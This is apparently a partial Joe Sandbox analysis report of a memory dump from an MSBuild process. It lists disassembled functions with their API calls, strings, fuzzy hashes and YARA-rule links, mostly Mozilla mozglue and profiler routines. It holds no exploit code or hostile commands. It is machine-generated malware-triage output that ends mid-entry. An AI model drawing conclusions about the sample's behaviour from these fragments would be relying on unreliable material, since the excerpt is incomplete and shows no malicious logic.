Instruction ID: 4abb9f9c14514ef2b238797f0cebcf8c043384086e8b40073f0923f7d6bae331
Opcode Fuzzy Hash: 0baf920e0d8b4d196e109e07379b4ff33fd8efcc9b3a27feecc4ee2cff0b2a60
Instruction Fuzzy Hash: 8D718B796047059FC725CF28C480D56B7F1FF5A3287254AADD85A8BBA0D732F842CB92

Function 6C4CB790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C50CC83,?,?,?,?,?,?,?,?,?,6C50BCAE,?,?,6C4FDC2C), ref: 6C4CB7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C50CC83,?,?,?,?,?,?,?,?,?,6C50BCAE,?,?,6C4FDC2C), ref: 6C4CB80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C50CC83,?,?,?,?,?,?,?,?,?,6C50BCAE), ref: 6C4CB88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C50CC83,?,?,?,?,?,?,?,?,?,6C50BCAE,?,?,6C4FDC2C), ref: 6C4CB896

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: d883e93fba17ea6fcf2ed84ea6157d05a1aed0cbe87f9b8f48fe4ff9b555300f
Instruction ID: 226e13cb1f84bddd9fe94452032c9fbce47a85bb5cc259423aa1118f68e8a32d
Opcode Fuzzy Hash: d883e93fba17ea6fcf2ed84ea6157d05a1aed0cbe87f9b8f48fe4ff9b555300f
Instruction Fuzzy Hash: 68516A397006008FCB25DF59C8C4E2AB7F5FF89319B698959E98A97361C730EC02CB95

Function 6C501D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C501D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C501BE3,?,?,6C501D96,00000000), ref: 6C501D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C501BE3,?,?,6C501D96,00000000), ref: 6C501D4C
GetCurrentThreadId.KERNEL32 ref: 6C501DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C501DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C501DDA

Part of subcall function 6C501EF0: GetCurrentThreadId.KERNEL32 ref: 6C501F03
Part of subcall function 6C501EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C501DF2,00000000,00000000), ref: 6C501F0C
Part of subcall function 6C501EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C501F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C501DF4

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 5150969ecff9988cac7c907475398f182e80d4614c5efd5cfc91f517e1c9115f
Instruction ID: f35e7a2cfa84c6ec3075a00b3952cfc9b876c804c96582a6f13586c7029fe7cd
Opcode Fuzzy Hash: 5150969ecff9988cac7c907475398f182e80d4614c5efd5cfc91f517e1c9115f
Instruction Fuzzy Hash: E34158B52007049FCB20DF29C889B56BBF9FF89318F11442EE99A87B41DB71E854CB95

Function 6C4C38A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C53E220,?,?,?,?,6C4C3899,?), ref: 6C4C38B2
ReleaseSRWLockExclusive.KERNEL32(6C53E220,?,?,?,6C4C3899,?), ref: 6C4C38C3
free.MOZGLUE(00000000,?,?,?,6C4C3899,?), ref: 6C4C38F1
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C4C3920
RtlFreeUnicodeString.NTDLL(-0000000C,?,?,?,6C4C3899,?), ref: 6C4C392F
RtlFreeUnicodeString.NTDLL(-00000014,?,?,?,6C4C3899,?), ref: 6C4C3943
RtlFreeHeap.NTDLL(?,00000000,0000002C), ref: 6C4C396E

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Free$ExclusiveHeapLockStringUnicode$AcquireReleasefree
String ID:
API String ID: 3047341122-0
Opcode ID: 26199a00fe2a10c8623c0d1024f1bc4604b121142b95ceba3a03d45cbcce9db7
Instruction ID: 4517a12de416524286bedef59792bd99f9ae9edaba45b83ac242773fbd2e1b6e
Opcode Fuzzy Hash: 26199a00fe2a10c8623c0d1024f1bc4604b121142b95ceba3a03d45cbcce9db7
Instruction Fuzzy Hash: 0821EE76700610DFE720EF15C880F86B7E4EF45328F218429E95A97B60C734F845CB91

Function 6C4F84E0 Relevance: 10.6, APIs: 7, Instructions: 79COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F84F3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F850A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F851E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F855B
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F856F
??1UniqueJSONStrings@baseprofiler@mozilla@@QAE@XZ.MOZGLUE(?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F85AC

Part of subcall function 6C4F7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4F85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F767F
Part of subcall function 6C4F7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4F85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F7693
Part of subcall function 6C4F7670: free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C4F85B1,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F76A7

free.MOZGLUE(?,?,?,?,?, (pre-xul),0000000A,?,?,?), ref: 6C4F85B2

Part of subcall function 6C4D5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C4D5EDB
Part of subcall function 6C4D5E90: memset.VCRUNTIME140(ewQl,000000E5,?), ref: 6C4D5F27
Part of subcall function 6C4D5E90: LeaveCriticalSection.KERNEL32(?), ref: 6C4D5FB2

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: free$CriticalSection$EnterLeaveStrings@baseprofiler@mozilla@@Uniquememset
String ID:
API String ID: 2666944752-0
Opcode ID: 390196668bb46cd3930c194a7c85e15f7e92f8eaf7cf873fcebc7ab1298cb2fc
Instruction ID: 126cc888c30dd8c7dde83a1743091f9a18a909941c0cb7fc0c49cffaa868b0ae
Opcode Fuzzy Hash: 390196668bb46cd3930c194a7c85e15f7e92f8eaf7cf873fcebc7ab1298cb2fc
Instruction Fuzzy Hash: EC21EF752016018FDB14DB25C888E5AB7B4AF8231EF20092DE56FCBB41EB34F84ACB45

Function 6C4C1640 Relevance: 10.6, APIs: 7, Instructions: 77COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,00000114), ref: 6C4C1699
VerSetConditionMask.NTDLL ref: 6C4C16CB
VerSetConditionMask.NTDLL ref: 6C4C16D7
VerSetConditionMask.NTDLL ref: 6C4C16DE
VerSetConditionMask.NTDLL ref: 6C4C16E5
VerSetConditionMask.NTDLL ref: 6C4C16EC
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C4C16F9

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoVerifyVersionmemset
String ID:
API String ID: 375572348-0
Opcode ID: d2a20eec5283282b8f0aefbaff9f47273e87b21d21e850c3c8fd7830cfaa8131
Instruction ID: 43f04f44d9d08a8047ec43149a11d948a70e3d5b660ba0333f34533adf8a0430
Opcode Fuzzy Hash: d2a20eec5283282b8f0aefbaff9f47273e87b21d21e850c3c8fd7830cfaa8131
Instruction Fuzzy Hash: 6B21A5B07402086BFB21AA648C45FBB73BCDFC6704F054528F6499B2D0D6789D54C7A5

Function 6C50D1D0 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C50D1EC
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D1F5

Part of subcall function 6C50AD40: moz_malloc_usable_size.MOZGLUE(?), ref: 6C50AE20

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D211
GetCurrentThreadId.KERNEL32 ref: 6C50D217
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C50D226
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C50D279
free.MOZGLUE(?), ref: 6C50D2B2

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$freemoz_malloc_usable_size
String ID:
API String ID: 3049780610-0
Opcode ID: a9765cc1ca59687c8d5e67e6e3c351b1758ed143f19e99d23b7e50e7c481cd9b
Instruction ID: 0747ae366a35076fe3abafd4095cd556c29727173253c02b89295673bb455bd2
Opcode Fuzzy Hash: a9765cc1ca59687c8d5e67e6e3c351b1758ed143f19e99d23b7e50e7c481cd9b
Instruction Fuzzy Hash: 85219475704705DFCB05DF24C888A9EB7B5FF8A324F11452DE51A87340EB31A819CB96

Function 6C4FF5B0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 70threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4ECBE8: GetCurrentProcess.KERNEL32(?,6C4B31A7), ref: 6C4ECBF1
Part of subcall function 6C4ECBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C4B31A7), ref: 6C4ECBFA

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FF619
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,?,6C4FF598), ref: 6C4FF621

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

GetCurrentThreadId.KERNEL32 ref: 6C4FF637
AcquireSRWLockExclusive.KERNEL32(6C53F4B8,?,?,00000000,?,6C4FF598), ref: 6C4FF645
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8,?,?,00000000,?,6C4FF598), ref: 6C4FF663

Strings

[D %d/%d] profiler_remove_sampled_counter(%s), xrefs: 6C4FF62A

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Currentgetenv$ExclusiveLockProcessThread$AcquireInit_thread_footerReleaseTerminate__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_remove_sampled_counter(%s)
API String ID: 1579816589-753366533
Opcode ID: b56e62de3fe036d5ef25b723146f17ce3400c4071b904a2bf4c620782fb9fd22
Instruction ID: d3569a09bbfd57065edf6f6f45e94a0328df0327cc809e565a84ae95c51fd9d4
Opcode Fuzzy Hash: b56e62de3fe036d5ef25b723146f17ce3400c4071b904a2bf4c620782fb9fd22
Instruction Fuzzy Hash: 0D112731205604AFDB14EF18CC04D9577B9FBC6369B111015EA1983F42EB32AC23CBE4

Function 6C4C2070 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 68libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

LoadLibraryW.KERNEL32(combase.dll,6C4C1C5F), ref: 6C4C20AE
GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6C4C20CD
__Init_thread_footer.LIBCMT ref: 6C4C20E1
FreeLibrary.KERNEL32 ref: 6C4C2124

Strings

combase.dll, xrefs: 6C4C20A9
CoInitializeSecurity, xrefs: 6C4C20C7

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeSecurity$combase.dll
API String ID: 4190559335-2476802802
Opcode ID: ece76fc45646c1668c580b7b4dba815c8ba9d0bb97326fbc9dbf49567b9bae74
Instruction ID: a69954ba78a5deae46d8537c7ce767d38b0c7961203f8f0341754052428ba9e3
Opcode Fuzzy Hash: ece76fc45646c1668c580b7b4dba815c8ba9d0bb97326fbc9dbf49567b9bae74
Instruction Fuzzy Hash: 5F21903A200209AFDF20DF95DC48E8A3FB5FB4A315F114115FA0852761E7719861DF65

Function 6C5176C0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6C5176F2
moz_xmalloc.MOZGLUE(00000001), ref: 6C517705

Part of subcall function 6C4CCA10: malloc.MOZGLUE(?), ref: 6C4CCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6C517717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6C51778F,00000000,00000000,00000000,00000000), ref: 6C517731
free.MOZGLUE(00000000), ref: 6C517760

Strings

}>Ol, xrefs: 6C5176C4

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID: }>Ol
API String ID: 2538299546-2768310654
Opcode ID: b17b197b845fa31d7a1dd4e4f9b37148c9fb75c7708d3c0ea8a964ac114918bc
Instruction ID: 0d4bcf49439bf78cf31686b0d1af8a54cad6b4c1a5d75f75b98948ab3ded95c9
Opcode Fuzzy Hash: b17b197b845fa31d7a1dd4e4f9b37148c9fb75c7708d3c0ea8a964ac114918bc
Instruction Fuzzy Hash: 8D11B6B5904215ABEB10AF7ADC44B6B7EE8EF45354F044429F84897700E7719C4087E2

Function 6C4C1FA0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 60libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

LoadLibraryW.KERNEL32(combase.dll,?), ref: 6C4C1FDE
GetProcAddress.KERNEL32(00000000,CoCreateInstance), ref: 6C4C1FFD
__Init_thread_footer.LIBCMT ref: 6C4C2011
FreeLibrary.KERNEL32 ref: 6C4C2059

Strings

CoCreateInstance, xrefs: 6C4C1FF7
combase.dll, xrefs: 6C4C1FD9

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoCreateInstance$combase.dll
API String ID: 4190559335-2197658831
Opcode ID: 28e37ab9e211e5a3f5505c5bbf341e135d25bbe459b407412aad51094333cb76
Instruction ID: b5d527c801dc054e055b6e1569bbe49185c086abeeacdb7b73a873e0b74fb231
Opcode Fuzzy Hash: 28e37ab9e211e5a3f5505c5bbf341e135d25bbe459b407412aad51094333cb76
Instruction Fuzzy Hash: 1B117F79300204AFDF30DF15CC48E563B79EB4635AF01416AFA0C92751EB719820DBB6

Function 6C4C0EE0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 51libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4EAB89: EnterCriticalSection.KERNEL32(6C53E370,?,?,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284), ref: 6C4EAB94
Part of subcall function 6C4EAB89: LeaveCriticalSection.KERNEL32(6C53E370,?,6C4B34DE,6C53F6CC,?,?,?,?,?,?,?,6C4B3284,?,?,6C4D56F6), ref: 6C4EABD1

LoadLibraryW.KERNEL32(combase.dll,00000000,?,6C4ED9F0,00000000), ref: 6C4C0F1D
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 6C4C0F3C
__Init_thread_footer.LIBCMT ref: 6C4C0F50
FreeLibrary.KERNEL32(?,6C4ED9F0,00000000), ref: 6C4C0F86

Strings

combase.dll, xrefs: 6C4C0F18
CoInitializeEx, xrefs: 6C4C0F36

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: CriticalLibrarySection$AddressEnterFreeInit_thread_footerLeaveLoadProc
String ID: CoInitializeEx$combase.dll
API String ID: 4190559335-2063391169
Opcode ID: 8f613b6ca5f45a4d2b1dc92eaae44dcfdecda82878147fc1e0393f59b6e1ed99
Instruction ID: c010937758d5c029e366bcf2c5470149cbea94c99a525d9b46ef2122f6ac355f
Opcode Fuzzy Hash: 8f613b6ca5f45a4d2b1dc92eaae44dcfdecda82878147fc1e0393f59b6e1ed99
Instruction Fuzzy Hash: 4D115475705250ABDF20DF58CD08F4D3BB4EB4A316F024359E90D92791F7709445CA6A

Function 6C4FF540 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 36threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C4C4A68), ref: 6C4F945E
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C4F9470
Part of subcall function 6C4F9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C4F9482
Part of subcall function 6C4F9420: __Init_thread_footer.LIBCMT ref: 6C4F949F

GetCurrentThreadId.KERNEL32 ref: 6C4FF559
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C4FF561

Part of subcall function 6C4F94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4F94EE
Part of subcall function 6C4F94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C4F9508

GetCurrentThreadId.KERNEL32 ref: 6C4FF577
AcquireSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF585
ReleaseSRWLockExclusive.KERNEL32(6C53F4B8), ref: 6C4FF5A3

Strings

[I %d/%d] profiler_resume_sampling, xrefs: 6C4FF499
[D %d/%d] profiler_add_sampled_counter(%s), xrefs: 6C4FF56A
[I %d/%d] profiler_pause_sampling, xrefs: 6C4FF3A8
[I %d/%d] profiler_resume, xrefs: 6C4FF239

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: getenv$CurrentExclusiveLockThread$AcquireInit_thread_footerRelease__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [D %d/%d] profiler_add_sampled_counter(%s)$[I %d/%d] profiler_pause_sampling$[I %d/%d] profiler_resume$[I %d/%d] profiler_resume_sampling
API String ID: 2848912005-2840072211
Opcode ID: f9cdbe63082209b044d7740157b6bf25a08ae1e81978bd6c76080fd0525366cd
Instruction ID: 1fc2ec968174ed6383a0c387aa1b5f58cea460ad3de2df6ea0f404cfd38cd099
Opcode Fuzzy Hash: f9cdbe63082209b044d7740157b6bf25a08ae1e81978bd6c76080fd0525366cd
Instruction Fuzzy Hash: 3CF0B476200614ABEB10BF689C48E5A77BCEBC626DF010055FA0D83742FB364806CBA9

Function 6C4C0E40 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(kernel32.dll,6C4C0DF8), ref: 6C4C0E82
GetProcAddress.KERNEL32(00000000,GetProcessMitigationPolicy), ref: 6C4C0EA1
__Init_thread_footer.LIBCMT ref: 6C4C0EB5
FreeLibrary.KERNEL32 ref: 6C4C0EC5

Strings

GetProcessMitigationPolicy, xrefs: 6C4C0E9B
kernel32.dll, xrefs: 6C4C0E7D

Memory Dump Source

Source File: 00000001.00000002.2771461753.000000006C4B1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4B0000, based on PE: true

Associated: 00000001.00000002.2771429127.000000006C4B0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772541981.000000006C52D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2772683633.000000006C53E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.2773144238.000000006C542000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4b0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeInit_thread_footerLoadProc
String ID: GetProcessMitigationPolicy$kernel32.dll
API String ID: 391052410-1680159014
Opcode ID: 5c1c4826f8c51e1a139e58de88bb5036dce47c5cab59f94d31a6cf29a5a9e18a
Instruction ID: 1f01eef1e13bb61f6eeefb6342e8cbfde297bbbf391156ef9f310c04f8064d73
